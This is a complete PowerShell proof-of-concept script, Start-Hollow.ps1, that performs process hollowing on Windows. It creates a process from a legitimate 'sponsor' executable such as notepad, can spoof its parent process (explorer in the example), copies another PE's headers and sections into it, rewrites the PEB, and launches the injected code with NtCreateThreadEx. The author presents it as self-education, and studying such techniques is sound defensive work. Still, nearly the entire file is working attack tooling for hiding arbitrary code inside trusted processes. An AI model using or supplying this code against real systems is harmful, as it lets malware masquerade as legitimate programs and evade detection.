Start-Hollow.ps1

function Start-Hollow {
<#
.SYNOPSIS
	This is a proof-of-concept for process hollowing. There is nothing new here except
	maybe the use of NtCreateProcessEx which has some advantages in that it offers a
	convenient way to set a parent process and avoids the bothersome Get/SetThreadContext.
	On the flipside CreateRemoteThreadEx/NtCreateThreadEx are pretty suspicious API's.

	I wrote this POC mostly to educate myself on the mechanics of hollowing. It is possible
	to load the Hollow from an internal byte array straight into memory but I have not
	implemented this functionality.
	
	Notes:
		- I tested this POC on x32 Win7 and x64 Win10 RS4.
		- You can only create an x64 processes on an x64 host architecture.

.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	License: BSD 3-Clause
	Required Dependencies: None
	Optional Dependencies: None

.PARAMETER Sponsor
	The sponsor PE, this is the executable that will host the binary.

.PARAMETER Hollow
	The PE that will run inside the sponsor.

.PARAMETER ParentPID
	Optionally specify a PID for the parent process of the hollow. This requires the
	appropriate access rights to the process. If unspecified, PowerShell will be the parent.

.EXAMPLE
	# Create a Hollow from a PE on disk with explorer as the parent.
	# x64 Win10 RS4
	C:\PS> Start-Hollow -Sponsor C:\Windows\System32\notepad.exe -Hollow C:\Some\PE.exe -ParentPID 8304 -Verbose
	VERBOSE: [?] A place where souls may mend your ailing mind..
	VERBOSE: [+] Opened file for access
	VERBOSE: [+] Created section from file handle
	VERBOSE: [+] Opened handle to the parent => explorer
	VERBOSE: [+] Created process from section
	VERBOSE: [+] Acquired PBI
	VERBOSE: [+] Sponsor architecture is x64
	VERBOSE: [+] Sponsor ImageBaseAddress => 7FF69E9F0000
	VERBOSE: [+] Allocated space for the Hollow process
	VERBOSE: [+] Duplicated Hollow PE headers to the Sponsor
	VERBOSE: [+] Duplicated .text section to the Sponsor
	VERBOSE: [+] Duplicated .rdata section to the Sponsor
	VERBOSE: [+] Duplicated .data section to the Sponsor
	VERBOSE: [+] Duplicated .pdata section to the Sponsor
	VERBOSE: [+] Duplicated .rsrc section to the Sponsor
	VERBOSE: [+] Duplicated .reloc section to the Sponsor
	VERBOSE: [+] New process ImageBaseAddress => 40000000
	VERBOSE: [+] Created Hollow process parameters
	VERBOSE: [+] Allocated memory in the Hollow
	VERBOSE: [+] Process parameters duplicated into the Hollow
	VERBOSE: [+] Rewrote Hollow->PEB->pProcessParameters
	VERBOSE: [+] Created Hollow main thread..
	True

#>
	[CmdletBinding()]
	param(
		[Parameter(Mandatory = $True)]
		[String]$Sponsor,
		[Parameter(Mandatory = $True)]
		[String]$Hollow,
		[Parameter(Mandatory = $False)]
		[int]$ParentPID
	)


	# Native API Definitions
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;

	[Flags]
	public enum AllocationProtect : uint
	{
		NONE = 0x00000000,
		PAGE_EXECUTE = 0x00000010,
		PAGE_EXECUTE_READ = 0x00000020,
		PAGE_EXECUTE_READWRITE = 0x00000040,
		PAGE_EXECUTE_WRITECOPY = 0x00000080,
		PAGE_NOACCESS = 0x00000001,
		PAGE_READONLY = 0x00000002,
		PAGE_READWRITE = 0x00000004,
		PAGE_WRITECOPY = 0x00000008,
		PAGE_GUARD = 0x00000100,
		PAGE_NOCACHE = 0x00000200,
		PAGE_WRITECOMBINE = 0x00000400
	}

	[Flags]
	public enum SectionFlags : uint
	{
		TYPE_NO_PAD = 0x00000008,
		CNT_CODE = 0x00000020,
		CNT_INITIALIZED_DATA = 0x00000040,
		CNT_UNINITIALIZED_DATA = 0x00000080,
		LNK_INFO = 0x00000200,
		LNK_REMOVE = 0x00000800,
		LNK_COMDAT = 0x00001000,
		NO_DEFER_SPEC_EXC = 0x00004000,
		GPREL = 0x00008000,
		MEM_FARDATA = 0x00008000,
		MEM_PURGEABLE = 0x00020000,
		MEM_16BIT = 0x00020000,
		MEM_LOCKED = 0x00040000,
		MEM_PRELOAD = 0x00080000,
		ALIGN_1BYTES = 0x00100000,
		ALIGN_2BYTES = 0x00200000,
		ALIGN_4BYTES = 0x00300000,
		ALIGN_8BYTES = 0x00400000,
		ALIGN_16BYTES = 0x00500000,
		ALIGN_32BYTES = 0x00600000,
		ALIGN_64BYTES = 0x00700000,
		ALIGN_128BYTES = 0x00800000,
		ALIGN_256BYTES = 0x00900000,
		ALIGN_512BYTES = 0x00A00000,
		ALIGN_1024BYTES = 0x00B00000,
		ALIGN_2048BYTES = 0x00C00000,
		ALIGN_4096BYTES = 0x00D00000,
		ALIGN_8192BYTES = 0x00E00000,
		ALIGN_MASK = 0x00F00000,
		LNK_NRELOC_OVFL = 0x01000000,
		MEM_DISCARDABLE = 0x02000000,
		MEM_NOT_CACHED = 0x04000000,
		MEM_NOT_PAGED = 0x08000000,
		MEM_SHARED = 0x10000000,
		MEM_EXECUTE = 0x20000000,
		MEM_READ = 0x40000000,
		MEM_WRITE = 0x80000000
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct UNICODE_STRING
	{
		public UInt16 Length;
		public UInt16 MaximumLength;
		public IntPtr Buffer;
	}
	
	[StructLayout(LayoutKind.Sequential)]
	public struct OBJECT_ATTRIBUTES
	{
		public Int32 Length;
		public IntPtr RootDirectory;
		public IntPtr ObjectName;
		public UInt32 Attributes;
		public IntPtr SecurityDescriptor;
		public IntPtr SecurityQualityOfService;
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct IO_STATUS_BLOCK
	{
		public IntPtr Status;
		public IntPtr Information;
	}

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	public struct LARGE_INTEGER
	{
		public uint LowPart;
		public int HighPart;
	}

	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_BASIC_INFORMATION
	{
		public IntPtr ExitStatus;
		public IntPtr PebBaseAddress;
		public IntPtr AffinityMask;
		public IntPtr BasePriority;
		public UIntPtr UniqueProcessId;
		public IntPtr InheritedFromUniqueProcessId;
	}

	[StructLayout(LayoutKind.Sequential, Pack=1)]
	public struct IMAGE_SECTION_HEADER
	{
		[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
		public string Name;
		public UInt32 VirtualSize;
		public UInt32 VirtualAddress;
		public UInt32 SizeOfRawData;
		public UInt32 PointerToRawData;
		public UInt32 PointerToRelocations;
		public UInt32 PointerToLinenumbers;
		public UInt16 NumberOfRelocations;
		public UInt16 NumberOfLinenumbers;
		public SectionFlags Characteristics;
	}
	
	public static class Hollow
	{
		[DllImport("kernel32.dll")]
		public static extern IntPtr OpenProcess(
			UInt32 processAccess,
			bool bInheritHandle,
			int processId);

		[DllImport("kernel32.dll")]
		public static extern Boolean WriteProcessMemory(
			IntPtr hProcess,
			IntPtr lpBaseAddress,
			IntPtr lpBuffer,
			UInt32 nSize,
			ref UInt32 lpNumberOfBytesWritten);

		[DllImport("kernel32.dll")]
		public static extern Boolean ReadProcessMemory( 
			IntPtr hProcess, 
			IntPtr lpBaseAddress,
			IntPtr lpBuffer,
			UInt32 dwSize, 
			ref UInt32 lpNumberOfBytesRead);

		[DllImport("kernel32.dll")]
		public static extern IntPtr VirtualAllocEx(
			IntPtr hProcess,
			IntPtr lpAddress,
			uint dwSize,
			int flAllocationType,
			int flProtect);

		[DllImport("kernel32.dll")]
		public static extern bool VirtualProtectEx(
			IntPtr hProcess,
			IntPtr lpAddress,
			UInt32 dwSize,
			AllocationProtect flNewProtect,
			ref UInt32 lpflOldProtect);

		[DllImport("ntdll.dll")]
		public static extern UInt32 NtOpenFile(
			ref IntPtr FileHandle,
			UInt32 DesiredAccess,
			ref OBJECT_ATTRIBUTES ObjAttr,
			ref IO_STATUS_BLOCK IoStatusBlock,
			UInt32 ShareAccess,
			UInt32 OpenOptions);

		[DllImport("ntdll.dll")]
		public static extern UInt32 NtCreateSection(
			ref IntPtr section,
			UInt32 desiredAccess,
			IntPtr pAttrs,
			ref LARGE_INTEGER pMaxSize,
			uint pageProt,
			uint allocationAttribs,
			IntPtr hFile);

		[DllImport("ntdll.dll")]
		public static extern UInt32 NtCreateProcessEx(
			ref IntPtr ProcessHandle,
			UInt32 DesiredAccess,
			IntPtr ObjectAttributes,
			IntPtr hInheritFromProcess,
			uint Flags,
			IntPtr SectionHandle,
			IntPtr DebugPort,
			IntPtr ExceptionPort,
			Byte InJob);

		[DllImport("ntdll.dll")]
		public static extern UInt32 NtQueryInformationProcess(
			IntPtr processHandle, 
			UInt32 processInformationClass,
			ref PROCESS_BASIC_INFORMATION processInformation,
			UInt32 processInformationLength,
			ref UInt32 returnLength);

		[DllImport("ntdll.dll")]
		public static extern UInt32 RtlCreateProcessParametersEx(
			ref IntPtr pProcessParameters,
			IntPtr ImagePathName,
			IntPtr DllPath,
			IntPtr CurrentDirectory,
			IntPtr CommandLine,
			IntPtr Environment,
			IntPtr WindowTitle,
			IntPtr DesktopInfo,
			IntPtr ShellInfo,
			IntPtr RuntimeData,
			UInt32 Flags);

		[DllImport("ntdll.dll")]
		public static extern UInt32 NtCreateThreadEx(
			ref IntPtr hThread,
			UInt32 DesiredAccess,
			IntPtr ObjectAttributes,
			IntPtr ProcessHandle,
			IntPtr lpStartAddress,
			IntPtr lpParameter,
			bool CreateSuspended,
			UInt32 StackZeroBits,
			UInt32 SizeOfStackCommit,
			UInt32 SizeOfStackReserve,
			IntPtr lpBytesBuffer);
	}
"@

	# Helper Functions
	#--------

	function Invoke-AllTheChecks {
		# Check PowerShell proc architecture
		if ([IntPtr]::Size -eq 4) {
			$PoshIs32 = $true
		} else {
			$PoshIs32 = $false
		}

		# Check machine architecture
		if (${Env:ProgramFiles(x86)}) {
			$OsIs32 = $false
		} else {
			$OsIs32 = $true
		}

		# Check Sponsor and Hollow details
		try {
			$SponsorPath = (Resolve-Path $Sponsor -ErrorAction Stop).Path
			$HollowPath = (Resolve-Path $Hollow -ErrorAction Stop).Path
			$SponsorArch = Get-PEArch -Path $SponsorPath
			$HollowArch = Get-PEArch -Path $HollowPath
		} catch {
			$SponsorPath = $false
			$HollowPath = $false
			$SponsorArch = $false
			$HollowArch = $false
		}

		# If $ParentPID check it exists
		if ($ParentPID) {
			$GetProc = Get-Process -Id $ParentPID -ErrorAction SilentlyContinue
			if ($GetProc) {
				$ProcIsValid = $true
			} else {
				$ProcIsValid = $false
			}
		} else {
			# PowerShell will be the parent
			$ProcIsValid = $true
		}
		
		$HashTable = @{
			PoshIs32 = $PoshIs32
			OsIs32 = $OsIs32
			SponsorPath = $SponsorPath
			HollowPath = $HollowPath
			SponsorArch = $SponsorArch
			HollowArch = $HollowArch
			ProcIsValid = $ProcIsValid
		}
		New-Object PSObject -Property $HashTable
	}

	function Get-PEArch {
		param(
			[String]$Path
		)

		try {
			$BinPath = (Resolve-Path $Path -ErrorAction Stop).Path
			$BinBytes = [System.IO.File]::ReadAllBytes($BinPath)
			[Int16]$PEOffset = '0x{0}' -f (($BinBytes[63..60] | % {$_.ToString('X2')}) -join '')
			$OptOffset = $PEOffset + 24
			[Int16]$PEArch = '0x{0}' -f ((($BinBytes[($OptOffset+1)..($OptOffset)]) | % {$_.ToString('X2')}) -join '')
		} catch {
			$false
			Return
		}

		# We do a sanity check here but really the user should drink more coffee
		[Int16]$MZ = '0x{0}' -f ((($BinBytes[0..1]) | % {$_.ToString('X2')}) -join '')
		[Int16]$PE = '0x{0}' -f ((($BinBytes[($PEOffset)..($PEOffset+1)]) | % {$_.ToString('X2')}) -join '')
		if ($MZ -ne 0x4D5A -Or $PE -ne 0x5045) {
			$false
			Return
		}

		$PEArch # 0x010b = x32; 0x020b = x64
	}

	function Get-PBI {
		param(
			[IntPtr]$hProcess
		)

		$PROCESS_BASIC_INFORMATION = New-Object PROCESS_BASIC_INFORMATION
		$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
		[UInt32]$RetLen = 0
		$CallResult = [Hollow]::NtQueryInformationProcess($hProcess,0,[ref]$PROCESS_BASIC_INFORMATION,$PROCESS_BASIC_INFORMATION_Size, [ref]$RetLen)
		if ($CallResult -ne 0) {
			$false
		} else {
			$PROCESS_BASIC_INFORMATION
		}
	}

	function Get-HollowPEProperties {
		param(
			[IntPtr]$pHollow,
			[Int16]$PEArch
		)

		# Some proper ghetto PE parsing
		$e_lfanew = [System.Runtime.InteropServices.Marshal]::ReadInt32($($pHollow.ToInt64() + 0x3C))
		$ImageFileHeader = $pHollow.ToInt64() + $e_lfanew
		[UInt16]$SectionCount = [System.Runtime.InteropServices.Marshal]::ReadInt16($($ImageFileHeader + 0x6))
		[UInt32]$SizeOfOptionalHeader = [System.Runtime.InteropServices.Marshal]::ReadInt16($($ImageFileHeader + 0x14))
		$OptionalHeader = $ImageFileHeader + 0x18
		$SectionHeadersOffset = $OptionalHeader + $SizeOfOptionalHeader
		[UInt32]$EntryPoint = [System.Runtime.InteropServices.Marshal]::ReadInt32($($OptionalHeader + 0x10))
		[UInt32]$BaseOfCode = [System.Runtime.InteropServices.Marshal]::ReadInt32($($OptionalHeader + 0x14))
		if ($PEArch -eq 0x010b) {
			[UInt32]$ImageBase = [System.Runtime.InteropServices.Marshal]::ReadInt32($($OptionalHeader + 0x1C))
		} else {
			[UInt64]$ImageBase = [System.Runtime.InteropServices.Marshal]::ReadInt32($($OptionalHeader + 0x18))
		}
		[UInt32]$SizeOfImage = [System.Runtime.InteropServices.Marshal]::ReadInt32($($OptionalHeader + 0x38))
		[UInt32]$SizeOfHeaders = [System.Runtime.InteropServices.Marshal]::ReadInt32($($OptionalHeader + 0x3C))
		
		$HashTable = @{
			SectionCount = $SectionCount
			pSectionHeaders = $SectionHeadersOffset
			EntryPoint = $EntryPoint
			BaseOfCode = $BaseOfCode
			ImageBase = $ImageBase
			SizeOfImage = $SizeOfImage
			SizeOfHeaders = $SizeOfHeaders
		}
		New-Object PSObject -Property $HashTable
	}

	function Set-RemoteMemory {
		param(
			[IntPtr]$hProcess,
			[IntPtr]$pSource,
			[IntPtr]$pDestination,
			$CopySize,
			$ProtectSize,
			$Protect
		)

		[UInt32]$BytesWritten = 0
		$CallResult = [Hollow]::WriteProcessMemory($hProcess,$pDestination,$pSource,$CopySize,[ref]$BytesWritten)
		if (!$CallResult) {
			Write-Verbose "[!] Failed to write section memory"
			$false
			Return
		}

		[UInt32]$OldProtect = 0
		$CallResult = [Hollow]::VirtualProtectEx($hProcess,$pDestination,$ProtectSize,$Protect,[ref]$OldProtect)
		if (!$CallResult) {
			Write-Verbose "[!] Failed to set section memory attributes"
			$false
			Return
		}

		$true
	}

	function Set-RemoteProcessParameters {
		param(
			$hProcess,
			$rPEB
		)

		# Create Unicode process parameter strings
		$uTargetPath = Emit-UNICODE_STRING -Data $Runtime.SponsorPath
		$uDllDir = Emit-UNICODE_STRING -Data "C:\Windows\System32"
		$uCurrentDir = Emit-UNICODE_STRING -Data $(Split-Path $Runtime.SponsorPath -Parent)
		$uWindowName = Emit-UNICODE_STRING -Data "Hollow"

		# Create process parameters struct
		$pProcessParameters = [IntPtr]::Zero
		$CallResult = [Hollow]::RtlCreateProcessParametersEx([ref]$pProcessParameters,$uTargetPath,$uDllDir,$uCurrentDir,$uTargetPath,[IntPtr]::Zero,$uWindowName,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,1)
		if ($CallResult -ne 0) {
			$false
			Write-Verbose "[!] Failed to create process parameters"
			Return
		} else {
			Write-Verbose "[+] Created Hollow process parameters"
		}

		# Copy parameters to the Hollow
		$ProcParamsLength = [System.Runtime.InteropServices.Marshal]::ReadInt32($($pProcessParameters.ToInt64())+4)
		[IntPtr]$HollowProcParams = [Hollow]::VirtualAllocEx($hProcess,$pProcessParameters,$ProcParamsLength,0x3000,0x4)
		if ($HollowProcParams -eq [IntPtr]::Zero) {
			$false
			Write-Verbose "[!] Failed to allocate memory in the Hollow"
			Return
		} else {
			Write-Verbose "[+] Allocated memory in the Hollow"
		}
		$BytesWritten = 0
		$CallResult = [Hollow]::WriteProcessMemory($hProcess,$pProcessParameters,$pProcessParameters,$ProcParamsLength,[ref]$BytesWritten)
		if (!$CallResult) {
			$false
			Write-Verbose "[!] Failed to write process parameters to the Hollow"
			Return
		} else {
			Write-Verbose "[+] Process parameters duplicated into the Hollow"
		}

		# Overwrite PEB
		if ($Runtime.SponsorArch -eq 0x010b) {
			# Sponsor is x32
			[IntPtr]$rProcParamOffset = $rPEB + 0x10
			$WriteSize = 4
			[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteSize)
			[System.Runtime.InteropServices.Marshal]::WriteInt32($lpBuffer.ToInt32(),$pProcessParameters.ToInt32())
		} else {
			# Sponsor is x64
			[IntPtr]$rProcParamOffset = $rPEB + 0x20
			$WriteSize = 8
			[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteSize)
			[System.Runtime.InteropServices.Marshal]::WriteInt64($lpBuffer.ToInt64(),$pProcessParameters.ToInt64())
		}
		$BytesWritten = 0
		$CallResult = [Hollow]::WriteProcessMemory($hProcess,$rProcParamOffset,$lpBuffer,$WriteSize,[ref]$BytesWritten)
		if (!$CallResult) {
			$false
			Write-Verbose "[!] Failed to rewrite Hollow->PEB->pProcessParameters"
			Return
		} else {
			Write-Verbose "[+] Rewrote Hollow->PEB->pProcessParameters"
		}
	}

	function Emit-UNICODE_STRING {
		param(
			[String]$Data
		)
	
		$UnicodeObject = New-Object UNICODE_STRING
		$UnicodeObject_Buffer = $Data
		[UInt16]$UnicodeObject.Length = $UnicodeObject_Buffer.Length*2
		[UInt16]$UnicodeObject.MaximumLength = $UnicodeObject.Length+1
		[IntPtr]$UnicodeObject.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($UnicodeObject_Buffer)
		[IntPtr]$InMemoryStruct = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16) # enough for x32/x64
		[system.runtime.interopservices.marshal]::StructureToPtr($UnicodeObject, $InMemoryStruct, $true)
	
		$InMemoryStruct
	}

	# (1) Invoke all the checks -> (╯°□°）╯︵ ┻━┻
	#--------

	$Runtime = Invoke-AllTheChecks

	if ($Runtime.PoshIs32 -eq $true -And $Runtime.OsIs32 -eq $false) {
		Write-Verbose "[!] Cannot perform process hollowing from x32 PowerShell on x64 OS.."
		$false
		Return
	}
	if ($Runtime.SponsorPath -eq $false) {
		Write-Verbose "[!] Failed to validate Sponsor or Hollow parameters.."
		$false
		Return
	}
	if ($Runtime.OsIs32 -eq $false -And $Runtime.SponsorArch -eq 0x010b) {
		Write-Verbose "[!] Cannot create x32 hollowed process on x64 OS.."
		$false
		Return
	}
	if ($Runtime.SponsorArch -ne $Runtime.HollowArch) {
		Write-Verbose "[!] Sponsor and Hollow architectures do not match.."
		$false
		Return
	}
	if ($Runtime.ProcIsValid -eq $false) {
		Write-Verbose "[!] Invalid parent process selected.."
		$false
		Return
	}

	# You know, because passing up a chance to reference Dark Souls would be sacrilege
	Write-Verbose "[?] A place where souls may mend your ailing mind.."

	# (2) Create suspended process
	# -> Emulate modern CreateProcess workflow though NtCreateProcessEx
	#   -> Open, Create Section, Start Process
	# We do a bit of extra legwork here so we can set a parent process and avoid thread context.
	#--------

	[IntPtr]$hFile = [IntPtr]::Zero
	$ObjAttr = New-Object OBJECT_ATTRIBUTES
	$ObjAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($ObjAttr)
	$ObjAttr.ObjectName = Emit-UNICODE_STRING -Data "\??\$($Runtime.SponsorPath)"
	$ObjAttr.Attributes = 0x40 # OBJ_CASE_INSENSITIVE
	$IoStatusBlock = New-Object IO_STATUS_BLOCK
	#--
	# DesiredAccess = FILE_READ_DATA(0x1)|FILE_EXECUTE(0x20)|FILE_READ_ATTRIBUTES(0x80)|SYNCHRONIZE(0x100000) = 0x1000A1
	# ShareAccess = FILE_SHARE_READ(0x1)|FILE_SHARE_DELETE(0x4) = 0x5
	# OpenOptions = FILE_SYNCHRONOUS_IO_NONALERT(0x20)|FILE_NON_DIRECTORY_FILE(0x40) = 0x60
	#--
	$CallResult = [Hollow]::NtOpenFile([ref]$hFile,0x1000A1,[ref]$ObjAttr,[ref]$IoStatusBlock,0x5,0x60)
	if (!$CallResult) {
		Write-Verbose "[+] Opened file for access"
	} else {
		Write-Verbose "[!] NtOpenFile failed.."
		$false
		Return
	}

	# Create section from PE
	$hSection = [IntPtr]::Zero
	$LargeInteger = New-Object LARGE_INTEGER
	$CallResult = [Hollow]::NtCreateSection([ref]$hSection,0xF001F,[IntPtr]::Zero,[ref]$LargeInteger,2,0x1000000,$hFile)
	if (!$CallResult) {
		Write-Verbose "[+] Created section from file handle"
	} else {
		Write-Verbose "[!] NtCreateSection failed.."
		$false
		Return
	}

	# Get handle to the parent PID
	if ($ParentPID) {
		$hParentPID = [Hollow]::OpenProcess(0x1F0FFF,$false,$ParentPID)
		if ($hParentPID -eq [IntPtr]::Zero) {
			Write-Verbose "[!] Unable to open handle to the specified parent => $($(Get-Process -PID $ParentPID).ProcessName)"
			$false
			Return
		} else {
			Write-Verbose "[+] Opened handle to the parent => $($(Get-Process -PID $ParentPID).ProcessName)"
		}
	} else {
		# This is a pseudo handle to self
		$hParentPID = [IntPtr]-1
	}

	# Start process from section
	$hProcess = [IntPtr]::Zero
	$CallResult = [Hollow]::NtCreateProcessEx([ref]$hProcess,0x1FFFFF,[IntPtr]::Zero,$hParentPID,4,$hSection,[IntPtr]::Zero,[IntPtr]::Zero,0)
	if ($hProcess -eq [IntPtr]::Zero) {
		Write-Verbose "[!] NtCreateProcessEx failed.."
		$false
		Return
	} else {
		Write-Verbose "[+] Created process from section"
	}

	# (3) Read data from the suspended process
	# -> Get PEB, Read ImageBase
	#   -> Note: NtCreateProcessEx does not create a main thread on suspend
	#--------

	# Get process basic information
	$ProcessBasicInformation = Get-PBI -hProcess $hProcess
	if (!$ProcessBasicInformation) {
		Write-Verbose "[!] Failed to acquire PBI"
		$false
		Return
	} else {
		Write-Verbose "[+] Acquired PBI"
	}

	# Get ImageBase for suspended process
	$SponsorPEBAddress = $ProcessBasicInformation.PebBaseAddress.ToInt64()
	if ($Runtime.SponsorArch -eq 0x010b) {
		# x32 sponsor
		Write-Verbose "[+] Sponsor architecture is x32"
		[IntPtr]$rImgBaseOffset = $SponsorPEBAddress + 0x8
		$ReadSize = 4
	} else {
		# x64 sponsor
		Write-Verbose "[+] Sponsor architecture is x64"
		[IntPtr]$rImgBaseOffset = $SponsorPEBAddress + 0x10
		$ReadSize = 8
	}

	$BytesRead = 0
	[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ReadSize)
	$CallResult = [Hollow]::ReadProcessMemory($hProcess,$rImgBaseOffset,$lpBuffer,$ReadSize,[ref]$BytesRead)
	if ($CallResult -eq 0) {
		$false
		Write-Verbose "[!] Failed to read Sponsor image base from PEB"
		Return
	} else {
		if ($Runtime.SponsorArch -eq 0x010b) {
			$SponsorImageBase = [System.Runtime.InteropServices.Marshal]::ReadInt32($($lpBuffer.ToInt64()))
		} else {
			$SponsorImageBase = [System.Runtime.InteropServices.Marshal]::ReadInt64($($lpBuffer.ToInt64()))
		}
		Write-Verbose "[+] Sponsor ImageBaseAddress => $('{0:X}' -f $SponsorImageBase)"
	}

	# (4) Map the Hollow into the Sponsor
	# -> Get Hollow properties, Remotely allocate with correct permissions
	#--------

	# Get Hollow properties
	$HollowByteArray = [System.IO.File]::ReadAllBytes($Runtime.HollowPath)
	[IntPtr]$pHollow = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($HollowByteArray.Length)
	[System.Runtime.InteropServices.Marshal]::Copy($HollowByteArray, 0, $pHollow, $HollowByteArray.Length)
	$HollowPEProperties = Get-HollowPEProperties -pHollow $pHollow -PEArch $Runtime.HollowArch

	# Enumerate section details
	$SectionArray = @()
	$ImageSectionHeader = (New-Object IMAGE_SECTION_HEADER).GetType()
	for ($i=0; $i -lt $HollowPEProperties.SectionCount; $i++) {
		$pSectionInstance = $HollowPEProperties.pSectionHeaders + $($i*0x28)
		$SectionArray += [System.Runtime.InteropServices.Marshal]::PtrToStructure([IntPtr]$pSectionInstance, [type]$ImageSectionHeader)
	}

	# Alloc space for the image (RW)
	# => I think this should be PAGE_EXECUTE_WRITECOPY (0x80) but VP fails to set this
	$pRemoteImageBase = [Hollow]::VirtualAllocEx($hProcess,$(New-Object System.Intptr -ArgumentList $HollowPEProperties.ImageBase),$HollowPEProperties.SizeOfImage,0x3000,0x04)
	if ($pRemoteImageBase -eq [IntPtr]::Zero) {
		$false
		Write-Verbose "[!] Failed to allocate memory in remote process"
		Return
	} else {
		Write-Verbose "[+] Allocated space for the Hollow process"
	}

	# Duplicate PE header
	$flNewProtect = [AllocationProtect]::PAGE_READONLY
	$CallResult = Set-RemoteMemory -hProcess $hProcess -pSource $pHollow -pDestination $pRemoteImageBase -CopySize $HollowPEProperties.SizeOfHeaders -ProtectSize $HollowPEProperties.BaseOfCode -Protect $flNewProtect
	if (!$CallResult) {
		$false
		Write-Verbose "[!] Failed to duplicate Hollow PE headers"
		Return
	} else {
		Write-Verbose "[+] Duplicated Hollow PE headers to the Sponsor"
	}

	# Duplicate sections
	$SectionArray | ForEach-Object {

		# Kind of whack but unsure how to translate properly...
		$ProtectSuccess = $true
		$IsRead = $($_.Characteristics -band [SectionFlags]::MEM_READ)
		$IsWrite = $($_.Characteristics -band [SectionFlags]::MEM_WRITE)
		$IsExecute = $($_.Characteristics -band [SectionFlags]::MEM_EXECUTE)
		if ($IsRead -And !$IsWrite -And !$IsExecute) {
			$flNewProtect = [AllocationProtect]::PAGE_READONLY
		} elseif ($IsRead -And $IsWrite -And !$IsExecute) {
			$flNewProtect = [AllocationProtect]::PAGE_READWRITE
		} elseif ($IsRead -And $IsWrite -And $IsExecute) {
			$flNewProtect = [AllocationProtect]::PAGE_EXECUTE_READWRITE
		} elseif ($IsRead -And !$IsWrite -And $IsExecute) {
			$flNewProtect = [AllocationProtect]::PAGE_EXECUTE_READ
		} elseif (!$IsRead -And !$IsWrite -And $IsExecute) {
			$flNewProtect = [AllocationProtect]::PAGE_EXECUTE
		} else {
			$ProtectSuccess = $false
			break
		}

		# Calculate offsets
		$pVirtualSectionBase = [IntPtr]($pRemoteImageBase.ToInt64() + $_.VirtualAddress)
		$pRawSectionBase = [IntPtr]($pHollow.ToInt64() + $_.PointerToRawData)

		# Duplicate
		$CallResult = Set-RemoteMemory -hProcess $hProcess -pSource $pRawSectionBase -pDestination $pVirtualSectionBase -CopySize $_.SizeOfRawData -ProtectSize $_.VirtualSize -Protect $flNewProtect
		if (!$CallResult) {
			$false
			Write-Verbose "[!] Failed to duplicate section: $($_.Name)"
			Return
		} else {
			Write-Verbose "[+] Duplicated $($_.Name) section to the Sponsor"
		}

	}

	if (!$ProtectSuccess) {
		Write-Verbose "[!] We don't know about this section flag: $($_.Characteristics)"
		Return
	}

	# (5) Animate the Hollow
	# -> Rewrite PEB ImageBase, Create process parameters, Start main thread
	#--------

	# Overwrite PEB->ImageBaseAddress
	$NewImageBase = [System.BitConverter]::GetBytes($HollowPEProperties.ImageBase)
	$pNewImageBase = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(8) # enough for x32/x64
	[System.Runtime.InteropServices.Marshal]::Copy($NewImageBase, 0, $pNewImageBase, $NewImageBase.Length)
	[UInt32]$BytesWritten = 0
	$CallResult = [Hollow]::WriteProcessMemory($hProcess,$rImgBaseOffset,$pNewImageBase,$ReadSize,[ref]$BytesWritten)
	if (!$CallResult) {
		$false
		Write-Verbose "[!] Failed to overwrite PEB->ImageBaseAddress"
		Return
	} else {
		Write-Verbose "[+] New process ImageBaseAddress => $('{0:X}' -f $HollowPEProperties.ImageBase)"
	}

	# Create process parameters
	$CallResult = Set-RemoteProcessParameters -hProcess $hProcess -rPEB $SponsorPEBAddress

	# Animate Hollow
	$hRemoteThread = [IntPtr]::Zero
	$lpStartAddress = New-Object System.Intptr -ArgumentList $($HollowPEProperties.ImageBase + $HollowPEProperties.EntryPoint)
	$CallResult = [Hollow]::NtCreateThreadEx([ref]$hRemoteThread,0x1FFFFF,[IntPtr]::Zero,$hProcess,[IntPtr]$lpStartAddress,[IntPtr]::Zero,$false,0,0,0,[IntPtr]::Zero)
	if ($CallResult -ne 0) {
		Write-Verbose "[!] NtCreateThreadEx failed.."
		$false
		Return
	} else {
		Write-Verbose "[+] Created Hollow main thread.."
		$true
	}

	# Free $pHollow
	[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pHollow)
}